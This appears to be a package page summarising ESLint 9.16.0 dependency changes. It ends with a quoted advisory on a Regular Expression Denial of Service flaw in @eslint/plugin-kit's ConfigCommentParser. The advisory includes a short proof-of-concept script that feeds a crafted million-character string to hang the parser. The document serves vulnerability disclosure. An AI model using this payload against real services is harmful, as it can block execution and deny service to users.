The new version 9.16.0 of ESLint brings incremental improvements for JavaScript developers. While the core functionalities remain consistent, some notable changes exist compared to version 9.15.0. Examining the dependencies section, eslint 9.16.0 upgrades @eslint/js from version 9.15.0 to version 9.16.0. This likely encompasses updated ECMAScript syntax support and refined linting rules, enhancing the tool's ability to identify and address potential code quality issues and security vulnerabilities.
Looking into devDependencies, a key distinction is the update of @eslint/json from version 0.6.0 to 0.8.0. This indicates improvements in ESLint's ability to handle and validate JSON files, a common configuration format for JavaScript projects. Another change is the upgrade of @arethetypeswrong/cli from version 0.16.4 to 0.17.0 which probably provides better type checking and integration with Typescript projects.
Developers upgrading to 9.16.0 can anticipate more accurate and relevant linting suggestions, particularly when working with modern JavaScript features and JSON configurations. These updates contribute to a more robust and efficient development workflow, helping ensure code consistency and adherence to best practices. Finally, it's crucial to always keep yourself up-to-date with the newest version of eslint to keep being warned about deprecations or security issues.
All the vulnerabilities related to the version 9.16.0 of the package
@eslint/plugin-kit is vulnerable to Regular Expression Denial of Service attacks through ConfigCommentParser
The ConfigCommentParser#parseJSONLikeConfig API is vulnerable to a Regular Expression Denial of Service (ReDoS) attack in its only argument.
The regular expression at packages/plugin-kit/src/config-comment-parser.js:158 is vulnerable to a quadratic runtime attack because the grouped expression is not anchored. This can be solved by prepending the regular expression with [^-a-zA-Z0-9/].
const { ConfigCommentParser } = require("@eslint/plugin-kit");
const str = `${"A".repeat(1000000)}?: 1 B: 2`;
console.log("start")
var parser = new ConfigCommentParser();
console.log(parser.parseJSONLikeConfig(str));
console.log("end")
// run `npm i @eslint/plugin-kit@0.3.3` and `node attack.js`
// then the program will stuck forever with high CPU usage
This is a Regular Expression Denial of Service attack which may lead to blocking execution and high CPU usage.